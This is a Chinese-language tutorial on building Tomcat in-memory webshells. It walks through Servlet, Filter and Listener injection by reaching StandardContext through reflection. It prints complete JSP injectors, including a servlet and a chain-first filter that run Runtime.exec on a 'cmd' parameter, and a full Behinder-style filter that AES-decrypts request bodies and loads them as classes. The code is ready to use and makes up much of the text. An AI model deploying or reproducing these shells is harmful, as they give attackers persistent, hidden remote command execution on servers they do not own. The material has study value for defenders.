# 前言

内存马主要分为以下几类:

  • servlet-api 类
    • filter 型
    • servlet 型
  • spring 类
    • 拦截器
    • controller 型
  • Java Instrumentation 类
    • agent 型

我们这里作为初学内存马萌新,只讨论 servlet-api 类型的内存马。

Q:内存马是什么?
A:对于 servlet-api 类其实就是恶意的 Fileter、Servlet、Listen 之类的 web 组件。

Q:怎么把内存马给注入进目标服务器?
A:JSP 文件(jsp 的本质就是 servlet,在访问时 tomcat 会将.jsp 文件翻译成一个 Servlet)、命令执行 javaagent、反序列化注入。下面我们的代码测试样例都是用 JSP 来注入的。

Servlet 3.0 API 允许使 ServletContext 用动态进行注册,在 Web 容器初始化的时候(即建立 ServletContext 对象的时候)进行动态注册。可以看到 ServletContext 提供了 add/create 方法来实现动态注册的功能。**
而在 tomcat 中,我们用到的是 standardContext 这个对象去注册我们的 Servlet、Filtet、Listen 等组件。
这也是 tomcat 内存马的核心 API

# 参考链接

achuna33/Memoryshell-JavaALL: 收集内存马打入方式 (github.com)

JavaWeb 内存马一周目通关攻略 | 素十八 (su18.org)

Tomcat 内存马学习 (二):结合反序列化注入内存马 – 天下大木头 (wjlshare.com)

http://moonflower.fun/index.php/2022/02/21/277/

Tomcat 内存马学习 - bmth (bmth666.cn)

Tomcat Filter 内存马实现 | T1melo0per'blog

# Tomcat 基础

Tomcat Filter 内存马实现 | T1melo0per'blog

每个 Wrapper 实例表示一个具体的 Servlet 定义,StandardWrapper 是 Wrapper 接口的标准实现类(StandardWrapper 的主要任务就是载入 Servlet 类并且进行实例化)

image-20230103104611713

# Servlet 类型内存马

这种类型的内存马很简单,就是动态创建一个 Servlet 即可,具体原理也不复杂。
但这种使用新增 servlet 的方式就需要绑定指定的 URL。因此如果我们想要更加隐蔽,做到内存马与 URL 无关就得通过注入新的或修改已有的 filter 或者 listener 的方式来实现了

# 实现例子

这里我们先别管原理,先试试我们怎么去注册一个内存马,然后试试效果。这里我演示的是动态创建一个 Servlet 内存马。

具体流程就是创建一个恶意的 Servlet,然后获取当前的 StandardContext,然后将恶意 servlet 封装成 wrapper 添加到 StandardContext 的 children 当中,最后添加 ServletMapping 将访问的 URL 和 wrapper 进行绑定

这里我们使用 JSP 来注入。如下,只要在目标 web 访问该 JSP 就会注册一个内存马,其映射地址为 shell,对应的 Servlet 名为 aaaa。

<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.*" %>
<%@ page import="javax.servlet.http.*" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    class ServletShell extends HttpServlet {
        private String message;
        @Override
        public void init() {
            message = "Hello World!";
        }
        @Override
        public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
            response.setContentType("text/html");
            PrintWriter out = response.getWriter();
            String cmd = request.getParameter("cmd");
            if(cmd != null){
                InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
                String result = scanner.hasNext() ? scanner.next() : "";
                out.println(result);
            }
        }
        @Override
        public void destroy() {
        }
    }
    ServletShell servletShell = new ServletShell();
%>
<%
    PrintWriter printWriter = response.getWriter();
    String name ="aaaa";
    ServletContext servletContext = request.getServletContext();
    // 查看是否存在名为 aaaa 的 servlet
    if (servletContext.getServletRegistration(name) == null) {
        StandardContext o = null;
        // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
        while (o == null) {
            Field f = servletContext.getClass().getDeclaredField("context");
            f.setAccessible(true);
            Object object = f.get(servletContext);
            if (object instanceof ServletContext) {
                servletContext = (ServletContext) object;
            } else if (object instanceof StandardContext) {
                o = (StandardContext) object;
            }
        }
        Wrapper newWrapper = o.createWrapper();
        newWrapper.setName(name);
        newWrapper.setLoadOnStartup(1);
        newWrapper.setServlet(servletShell);
        // 向 children 中添加 Wrapper
        o.addChild(newWrapper);
        // 添加 servlet 的映射
        o.addServletMappingDecoded("/shell", name);
        printWriter.println("servlet added");
    }
%>

image-20230103104908601

# 流程分析

前面我们很简单的就完成了一个内存马的注入。但实际上我们还是需要跟一下它的流程的。
其中大概流程就是:

①创建一个恶意 Servlet

②通过 Servlet 3.0 API 中的 add*/create * 放到进行动态注册。

而我们恶意 Servlet 的创建我们就不多介绍了,没上面难度。主要是讲怎么动态注册这个 Servlet。

# StandardContext 对象获取

(5 条消息) ServletContext (源码分析)_以码平川的博客 - CSDN 博客_servletcontext 源码

Java 内存马:一种 Tomcat 全版本获取 StandardContext 的新方法 - bitterz | CN-SEC 中文网

恶意 Servlet 的创建就不用多说了,没什么难度和疑难点。

Q:在用之前,先了解 StandardContext 是什么,为什么要获取它。
A:从前面 Tomcat 的架构我们得知:
一方面我们针对的其实是当前的 Context 进行内存马注入,所以我们就需要获取到当前的 context,而这个 context 其实就是 StandardContext。
另一方面 ServletContext 虽然提供了动态注册的 api 但它只是一个接口,而在 tomcat 中 createServlet 和 addServlet 的具体实现都是由 StandardContext 这个对象完成的。

简单的跟下代码

image-20230103105023933

我们这里跟下 ApplicationContext 这个实现类的 addServlet 方法,可以看到,这下面最终还是在调用 StandContext 里面的方法。ApplicationContext 只不过是对 StandContext 的封装。

image-20230103105035603

Q:standardContext 对象在哪?

A: 在 Servlet 中有九大内置对象,其中 standardContext 就存在 apllication(ServletContext) 对象中。

但 ServletContext 只是一个接口,具体的实现还要看具体的容器是怎么实现的,

而在 Tomcat 中就是在 ApplicationContext 类当中。

image-20230103105109937

Q: 怎么获取 standardContext 对象

A:上一个 QA 中提了,standardContext 在 ServletContext 对象中,那我们从这个对象中把它提取出来即可。我们先贴出获取代码,再进行分析。

从代码中我们可以看到,第一步是获取 ServletContext 对象,随后就是通过 while 来循环获取 StandContext 对象。

image-20230103105122194

至于为什么这么做,我们简单的跟下代码就懂了。

我们第一步获取到的其实是一个 ApplicationContextFacade 对象,这个对象的 context 属性是 ApplicationContext 的实例,而 ApplicationContext 对象的 context 属性才是我们的目标 standardContext 对象。

image-20230103105133586

也就是说,我们从 ServletContext 到 standardContext 的流程如下:
ServletContext 接口 ->ApplicationContextFacade 实现类 ->ApplicationContext 实现类 ->standardContext 对象。

# 动态注册 Servlet 内存马

这里就是怎么将我们的恶意 servlet 内存马给注册到内存中了。其实就是调用 StandardContext 对象的某些方法即可。这里我们在前面 StandardContext 对象第一个 QA 中就提到过,至于为什么我们不直接用 ServletContext 的 add 接口是因为 ServletContext 添加 servlet 只能在在 Web 容器初始化的时候(即建立 ServletContext 对象的时候)进行动态注册。直接用的话是无法注册的,如图:

image-20230103105202952

因此我们只能直接用 StandardContext 这个底层对象去动态注册我们的 Servlet。

后面的就不做详细分析,这里简单讲讲就行:根据前面的 tomcat 架构,StandardContext 对象下面的是 Wrapper 对象,因此这里需要把先把恶意的 Servlet 封装成 wrapper 再添加到 StandardContext 的 children 当中才完成注册了一个 Servlet。

从 ApplicationContext 的 addServlet 方法把核心内容提取出来就得到如下注册的代码:

image-20230103105216102

# 将注册成功的 Servlet 进行 URL 映射

这里前面只是完成了 Servlet 的注册,但想要访问还需要进行 URL 绑定映射,

因此最后需要通过 ServletMapping 将访问的 URL 和 wrapper 进行绑定即可。

image-20230103105236048

# Filter 类型内存马

https://t1melo0per.github.io/2022/04/27/memshell-filter/

http://wjlshare.com/archives/1529

https://su18.org/post/memory-shell/#filter-%E5%86%85%E5%AD%98%E9%A9%AC

image-20230103105315963

可以看到 Filter 的作用其实就是拦截请求,过滤响应。它在 Servlet 之前生效。

因此我们内存马的另一种思路就是新增一个恶意的 Filter,将其放在 Filter 链的最开头,这样我们就可以在不新增 Servlet 的情况下,注入了一个内存马,从而更加隐蔽。

我们下面分析流程还是和 Servlet 差不多,从创建 Filter 到注册到绑定。

# 实现恶意 Filter

首先,我们先去实现一个恶意的 Filter,这里其实直接把我们的恶意 Servlet 的代码搬过来就完事了。

image-20230103105333728

最终我们实现的效果就是带上参数 cmd 才会进入到命令执行逻辑,否则就跳转到正常页面。

image-20230103105342715

# 动态注册 Filter

接着我们就看看怎么动态注册 Filter 并且把我们的恶意 Filter 给排到 Filter 链的最前了。

我们老样子,跟下流程,直接来到 ApplicationContext 的 addFilter 方法。

其中的核心代码就是这块。大致流程就是利用 FilterDef 对 Filter 进行一个封装,然后 filtrDef 进行一些属性的赋值(Filter 名,Filter 的 Class 等等)。

image-20230103105402858

因此我们提取出来,就得到如下动态注册 Filter 的代码。

image-20230103105411065

# 分析如何绑定 Filter 到 chain 的最开头并让其生效

上面我们也只是实现了 Filter 的注册而已,实际上我们并没有把这个 Filter 给用起来。并且我们对怎么把这个 Filtet 放到 Chain 的最开头也不清楚。

因此我们想要知道怎么去操作就得分析下正常 Filter 的调用流程。

根据 tomcat 的流程和我们前面的分析,可以得知 Tomcat 的 web 启动后在初始化 Context 的时候会调用 StandardContext 来实现部分功能,所以 Filter 的初始化应该也是在这个类中完成。这里我们发现一个 filterStart 方法,所以我们就从这个方法入手上断点开始追踪。

image-20230103105433266

我们直接上断点分析,可以看到大概流程

这里应该是先执行了 addfilter 等到所有的 filter 都被封装成 filterDef 并存储到 filterDefs 后才到 filterStart 这个方法(逻辑上也应该如此),而在这个方法当中,我们可以看到,它把 filterDef 重新提取了出来了,对其再进行了一层封装,然后又如法炮制塞到了 filterConfigs 当中。

image-20230103105440020

因此这里我们可以得知只要将 Filter 封装成 FilterDef,再向上封装成 FilterConfig,放入 StandardContext 对象的 FilterConfigs 就能够动态注册并启动我们的 filter。

但问题来了,url 绑定在哪呢??这里已经是最后的一步了,所以我觉得 URL 配置肯定就在这个 filterConfig 对象里面,我们查看它的结构

最终在 filterConfig.context.filterMaps 中找到了 url 配置。

image-20230103105448124

接着我们就需要找这个值是怎么赋予给 filterConfig 的,本来是需要跟进这个 ApplicationFilterConfig 的,但我发现这里的参数 this 就是 context,所以没必要跟进了(这层封装就只是简单的把 standardContext 和 filterDef 给粘合到一块而已)。

image-20230103105500832

其实到这里思路就很清晰了,我们只需要以下操作即可:

①把我们的恶意 Filter 封装成 FilterDef,动态注册成 filter。(这一步上面已经完成了)

②为我们恶意 Filter 构造 FilterMap(这一步就是 urlpattern 绑定)

③把 FilterDef 和 FilterMap 一块向上封装成 FilterConfig(利用反射获取 ApplicationFilterConfig 对象,调用私有构造方法)

④最后 put 进 StandardContext 对象的 FilterConfigs 即可。(利用反射获取 StandardContext 对象的 FilterConfigs 属性,然后 put 进去)

但我们是不是还忘记了什么!没错,怎么把我们的这个 Filter 给放到 FilterChain 的最前面呢??

这里我们发现 StandardContext 有一个名为 addFilterMapBefore 的方法,也就是说调用这个方法就能够让我们的 Filter 放到最前。

查看里面的具体代码,不难看出大致就是把我们的 filterMap 给放到 filterMaps 这个数组的最前面。

image-20230103105510395

而我们知道 put 进 FilterConfigs 其实就是启动 Filter 了。因此这一步肯定是在这之前完成的。因此我们最终整合步骤如下:

①把我们的恶意 Filter 封装成 FilterDef,动态注册成 filter。(这一步上面已经完成了)

②为我们恶意 Filter 构造 FilterMap(这一步就是 urlpattern 绑定)

③调用 StandardContext 的 addFilterMapBefore 方法,把我们的 FilterMap 给放到 FilterMaps 最前面。

④把 FilterDef 和 FilterMap 一块向上封装成 FilterConfig,

⑤最后 put 进 StandardContext 对象的 FilterConfigs 即可。(利用反射获取 StandardContext 对象的 FilterConfigs 属性,然后 put 进去)

# 为恶意 Filter 构造 FilterMap

在这之前,先看看我们的目标 FilterMaps 需要什么属性。
这里我们可以看到,比较关键的是这个 filterName 和 URLPatterns 还有 dispatcherMapping (其他参数在 FilterMap 类中都是默认值或者说是私有属性,并且没有相应的方法能操控)

image-20230103105544175

然后需要了解怎么去构造,就需要进入到 FilterMap 这个类查看它的方法和属性,分析它是怎么封装的。我们关注的三个属性虽然是私有属性,但幸好我们有对应的方法能操控,不然只能上反射了。

image-20230103105555893

其中需要提一下的只有 dispatcherMapping 这个属性的赋值方法 setDispatcher。

在之前我们需要先了解 dispatcher 是什么,看下面,其实不难理解,就是这个请求是怎么来的?内部请求还是用户真实的请求,也就是说我们的过滤器不只是可以 url 的作用范围,还能设置请求方式(注意:不是 http 方法)的范围。

image-20230103105606959

可以看到,这个方法其实就是设置我们的 dispatcher 是什么类型的,我们自然是要 REQUEST 类型的。

而我们简单看下方法,很明显了只要让参数等于 DispatcherType.REQUEST.name () 就实现我们的目的了。(虽然上图中说默认情况下它的值是 REAUEST,但在代码中它初始值是 NOT_SET)

image-20230103105619126

image-20230103105622809

尝试一下进行封装,差不多就是这样。

image-20230103105632367

# 使用 addFilterMapBefore 把我们的链放到最前

紧接着就是把我们的这个 filter 放到代理链的最前了,我们再看看这个方法

一共就三行代码,第一行是验证我们的 FilterMap 的,第二行则是把它加到 filterMaps 中,最后一个是

去通知所有容器事件侦听器此容器发生了添加 FilterMap 事件。

image-20230103105649373

其实没什么好提取的,我们直接调用就行了。

# 把 FilterDef 和 FilterMap 一块向上封装成 FilterConfig

这里封装本来想直接调用 ApplicationFilterConfig 类,但很可惜,这个类不是 public 类,因此我们只能通过反射来获取它,再调用它的私有构造器了。

image-20230103105705440

image-20230103105708249

# 最后 put 进 StandardContext 对象的 FilterConfigs 即可

最后,我们只差一步,这里只需要拿到 StandardContext 的 filterConfigs 对象,然后 put 我们的 filterconfig 进去即可。

同样的需要用反射来完成。

image-20230103105719035

# 最终代码

然后我们把上面各个部分进行整合,再优化一下就得到如下内存马:

我们这里提前获取 FilterConfigs,用于判断 Filter 名字有没有冲突。

<%--
  Created by IntelliJ IDEA.
  User: momo
  Date: 2022/11/14
  Time: 13:12
  To change this template use File | Settings | File Templates.
--%>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.*" %>
<%@ page import="javax.servlet.http.*" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.HashMap" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    class EvilFilter implements Filter {
        @Override
        public void init(FilterConfig config) throws ServletException {
        }
        @Override
        public void destroy() {
        }
        @Override
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
            response.setContentType("text/html");
            PrintWriter out = response.getWriter();
            String cmd = request.getParameter("cmd");
            if(cmd != null){
                InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
                String result = scanner.hasNext() ? scanner.next() : "";
                out.println(result);
                return;
            }
            chain.doFilter(request, response);
        }
    }
    EvilFilter evilFilter = new EvilFilter();
%>
<%
    String name ="evilFilter2";
    PrintWriter printWriter = response.getWriter();
    // 获取 ServletContext 对象 (得到的其实是 ApplicationContextFacade 对象)
    ServletContext servletContext = request.getServletContext();
    StandardContext standardContext = null;
    // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
    while (standardContext == null) {
        // 因为是 StandardContext 对象是私有属性,所以需要用反射去获取
        Field f = servletContext.getClass().getDeclaredField("context");
        f.setAccessible(true);
        Object object = f.get(servletContext);
        if (object instanceof ServletContext) {
            servletContext = (ServletContext) object;
        } else if (object instanceof StandardContext) {
            standardContext = (StandardContext) object;
        }
    }
    // 通过反射获取 StandardContext 对象的 filterConfigs 属性
    Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
    filterConfigsField.setAccessible(true);
    HashMap filterConfigs = (HashMap) filterConfigsField.get(standardContext);
    if (filterConfigs.get(name) == null){
        // 将 evilFilter 封装成 FilterDef
        FilterDef filterDef = new FilterDef();
        filterDef.setFilterName(name);
        filterDef.setFilterClass(evilFilter.getClass().getName());
        filterDef.setFilter(evilFilter);
        // 动态注册 Filter
        standardContext.addFilterDef(filterDef);
        // 为恶意 Filter 构造 FilterMap
        FilterMap filterMap = new FilterMap();
        filterMap.setFilterName(name);
        filterMap.addURLPattern("/*");
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        // 将我们的 filterMap 放到最前
        standardContext.addFilterMapBefore(filterMap);
        // 通过反射调用 ApplicationFilterConfig 将 filterDef 和 FilterMap 向上一块封装成 FilterConfig
        Constructor  filterConfigConstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        filterConfigConstructor.setAccessible(true);
        FilterConfig filterConfig =(FilterConfig) filterConfigConstructor.newInstance(standardContext,filterDef);
        filterConfigs.put(name,filterConfig);
        printWriter.println("inject success");
    }else {
        printWriter.println("wrong,web was have "+name+" filter,pleas change a name");
    }
%>

最终效果如下:

image-20230103105753616

image-20230103105756348

# Listen 类型内存马

https://www.cnblogs.com/yyhuni/p/15512792.html#servletrequestlistener%E6%8E%A5%E5%8F%A3

https://www.cnblogs.com/zpchcbd/p/15154256.html

Tomcat 容器攻防笔记之 Listener 内存马 - 安全客 - 安全资讯平台 (anquanke.com)

Tomcat Listener 型内存马流程理解与手写 EXP - 腾讯云开发者社区 - 腾讯云 (tencent.com)

和 Filter 一样,Listen 也是能够用来做内存马的。

大概流程如下:

①新建一个继承 ServletRequestLisner 接口的监听器并在 requestInitialized 方法中实现我们想要的任意功能(实现恶意 Filter)

②将该实例添加到 StandardContext 的 ApplicationEventListeners 变量。(相当于注册恶意 Filter)

# 实现恶意 Liesten

老样子,我们需要先实现一个恶意的 LIsten,而 Listen 有很多实现类,我们查看全部 Listen,选一个比较适合我们的,因为我们要找的是一个 Tomcat 解析了请求后但仍未响应的中间环节的 Listen,所以我们理所当然就用这个 ServletRequestListener 。

image-20230103105830142

这里比较麻烦的是怎么获取我们的输出,大概就是通过反射去获取当前这个 requests,然后通过这个 requests 的 getResponse 方法来得到输出结果。具体原理看链接

https://www.anquanke.com/post/id/226769

这里主要是因为 ServletRequest 只是个接口,而且不含 getResponse,所以我们不能在代码中直接这么写。

而当在真正的 tomcat 请求中,这个 request 就会封装成 ServletRequest 接口的实现类 RequestFacade,然后就存在着 getResponse 方法,从而能输出结果。

image-20230103105847726

image-20230103105853483

# 注册 Listen

接着我们就需要考虑怎么去注册 Listen。老样子还是去看 StandardContext 对象,我们查看和 listen 有关的方法。其中我们不关注 Lifecycle Listen,因为它们多用于 Tomcat 初始化启动阶段,那时客户端的请求还没进入解析阶段,也就是说不能通过请求,随心所欲根据我们的输入执行命令。

image-20230103105911479

根据正常流程,tomcat 想要调用一个 listen,肯定是先去寻找 listen,所以我们先到 findApplicationLisetners 打个断点看看情况,最终我们找到了它的上层调用 listenerStart。

image-20230103105923977

随后我们分析它干了什么,感觉这里是把我们的 listen 给放到了一个数组,然后调用设置监听器的方法,那是不是如果我们把新增的监听器给放进去就能注册成功并启用了?

image-20230103105933118

再向上推一下,这个 getApplicationEventListeners 其实就是去读 StandContext 的 applicationEventListenersList 属性而已,虽然这个属性是私有属性,但没关系,我们很快的就发现,存在一个方法直接添加。所以很明朗了,直接调用这个方法把我们的恶意 Listen 加进去就能成功注册 listen 内存马。

image-20230103105941729

我们尝试一下~大成功。

image-20230103105950338

image-20230103105956468

# 拿个冰蝎 webshell 做做测试

既然是内存马,那自然的,就要是 webshell,只是执行命令不满足我们的要求。

其实就是让我们的恶意 Filter、Servlet、Listen 执行我们的 webshell 代码而已。下面我注册的是一个 Filter 类型的。

注入冰蝎内存马实现 | 藏青's BLOG (cangqingzhe.github.io)

https://www.cnblogs.com/zpchcbd/p/16547770.html

https://xz.aliyun.com/t/10696#toc-4

具体原理我就不细究了,这里我只简单的提一下,直接用肯定是不行的。因为默认的是 jsp 马,而在 jsp 中是存在很多默认的变量的。如下图,原本的 jspshell 中它这个 pageContext 没有定义,因为这是 jsp 的默认上下文,但如果我们注册在内存中,就不是 jsp 了,自然没有这个上下文,导致报错。因此如果想要注册成功我们就得需要去获取上下文。同样的其实还有 request 这个变量。总之,现在我们的目标是怎么获取 request 和 pageContext。

image-20230103110021209

在冰蝎 3.0 bata7 之后不再依赖 pageContext 对象,只需给在 equal 函数中传递的 object 对象中,有 request/response/session 对象即可,所以此时我们可以把 pageContext 对象换成一个 Map,手动添加这三个对象即可

//create pageContext

HashMap pageContext = new HashMap();

pageContext.put("request",request);

pageContext.put("response",response);

pageContext.put("session",session);

因此我们的目标变成了怎么去获取 request、response 和 session。

Filter 中默认参数是 ServletRequest 接口,没有获取 session 的方法,所以需要对其进行强转,再获取。随后再构造 pageContext 就完事了。

代码如下

image-20230103110054747

最终代码如下:注意,我这里做了个特定要求,只有存在参数 cmd=ccc 的时候才执行我们的 webshell 逻辑。

<%@  page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.lang.reflect.InvocationTargetException" %>
<%@ page import="java.security.InvalidKeyException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    class EvilFilter implements Filter {
        @Override
        public void init(FilterConfig config) throws ServletException {
        }
        @Override
        public void destroy() {
        }
        @Override
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
            if ("ccc".equals(request.getParameter("cmd"))) {
                // 给它做个类型强转,以便获取 session
                HttpServletRequest req = (HttpServletRequest) request;
                HttpSession session = req.getSession();
                // 塞进 pageContext 就完事了
                HashMap pageContext = new HashMap();
                pageContext.put("request",req);
                pageContext.put("response",response);
                pageContext.put("session",session);
                class U extends ClassLoader {
                    U(ClassLoader c) {
                        super(c);
                    }
                    public Class g(byte[] b) {
                        return
                                super.defineClass(b, 0, b.length);
                    }
                }
                if (true) {
                    ByteArrayOutputStream bos = new ByteArrayOutputStream();
                    byte[] buf = new byte[512];
                    int length = request.getInputStream().read(buf);
                    while (length > 0) {
                        byte[] data = Arrays.copyOfRange(buf, 0, length);
                        bos.write(data);
                        length = request.getInputStream().read(buf);
                    }
                    String k = "e45e329feb5d925b";
                    Cipher c = null;
                    try {
                        c = Cipher.getInstance("AES/ECB/PKCS5Padding");
                    } catch (NoSuchAlgorithmException e) {
                        e.printStackTrace();
                    } catch (NoSuchPaddingException e) {
                        e.printStackTrace();
                    }
                    try {
                        c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
                    } catch (InvalidKeyException e) {
                        e.printStackTrace();
                    }
                    byte[] decodebs = new byte[0];
                    Class baseCls = null;
                    try {
                        baseCls = Class.forName("java.util.Base64");
                        Object Decoder = baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
                        decodebs = (byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{bos.toByteArray()});
                    } catch (Throwable e) {
                        System.out.println("444444");
                        try {
                            baseCls = Class.forName("sun.misc.BASE64Decoder");
                        } catch (ClassNotFoundException classNotFoundException) {
                            classNotFoundException.printStackTrace();
                        }
                        Object Decoder = null;
                        try {
                            Decoder = baseCls.newInstance();
                        } catch (InstantiationException instantiationException) {
                            instantiationException.printStackTrace();
                        } catch (IllegalAccessException illegalAccessException) {
                            illegalAccessException.printStackTrace();
                        }
                        try {
                            decodebs = (byte[]) Decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(Decoder, new Object[]{new String(bos.toByteArray())});
                        } catch (IllegalAccessException illegalAccessException) {
                            illegalAccessException.printStackTrace();
                        } catch (InvocationTargetException invocationTargetException) {
                            invocationTargetException.printStackTrace();
                        } catch (NoSuchMethodException noSuchMethodException) {
                            noSuchMethodException.printStackTrace();
                        }
                    }
                    byte[] kaaa = new byte[0];
                    try {
                        kaaa = c.doFinal(decodebs);
                    } catch (IllegalBlockSizeException e) {
                        e.printStackTrace();
                    } catch (BadPaddingException e) {
                        e.printStackTrace();
                    }
                    try {
                        new U(this.getClass().getClassLoader()).g(kaaa).newInstance().equals(pageContext);
                    } catch (InstantiationException e) {
                        e.printStackTrace();
                    } catch (IllegalAccessException e) {
                        e.printStackTrace();
                    }
                }
            }
                chain.doFilter(request, response);
            }
    }
    EvilFilter evilFilter = new EvilFilter();
%>
<%
    String name ="evilFilter2";
    PrintWriter printWriter = response.getWriter();
    // 获取 ServletContext 对象 (得到的其实是 ApplicationContextFacade 对象)
    ServletContext servletContext = request.getServletContext();
    StandardContext standardContext = null;
    // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
    while (standardContext == null) {
        // 因为是 StandardContext 对象是私有属性,所以需要用反射去获取
        Field f = servletContext.getClass().getDeclaredField("context");
        f.setAccessible(true);
        Object object = f.get(servletContext);
        if (object instanceof ServletContext) {
            servletContext = (ServletContext) object;
        } else if (object instanceof StandardContext) {
            standardContext = (StandardContext) object;
        }
    }
    // 通过反射获取 StandardContext 对象的 filterConfigs 属性
    Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
    filterConfigsField.setAccessible(true);
    HashMap filterConfigs = (HashMap) filterConfigsField.get(standardContext);
    if (filterConfigs.get(name) == null){
        // 将 evilFilter 封装成 FilterDef
        FilterDef filterDef = new FilterDef();
        filterDef.setFilterName(name);
        filterDef.setFilterClass(evilFilter.getClass().getName());
        filterDef.setFilter(evilFilter);
        // 动态注册 Filter
        standardContext.addFilterDef(filterDef);
        // 为恶意 Filter 构造 FilterMap
        FilterMap filterMap = new FilterMap();
        filterMap.setFilterName(name);
        filterMap.addURLPattern("/*");
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        // 将我们的 filterMap 放到最前
        standardContext.addFilterMapBefore(filterMap);
        // 通过反射调用 ApplicationFilterConfig 将 filterDef 和 FilterMap 向上一块封装成 FilterConfig
        Constructor  filterConfigConstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        filterConfigConstructor.setAccessible(true);
        FilterConfig filterConfig =(FilterConfig) filterConfigConstructor.newInstance(standardContext,filterDef);
        filterConfigs.put(name,filterConfig);
        printWriter.println("inject success");
    }else {
        printWriter.println("wrong,web was have "+name+" filter,pleas change a name");
    }
%>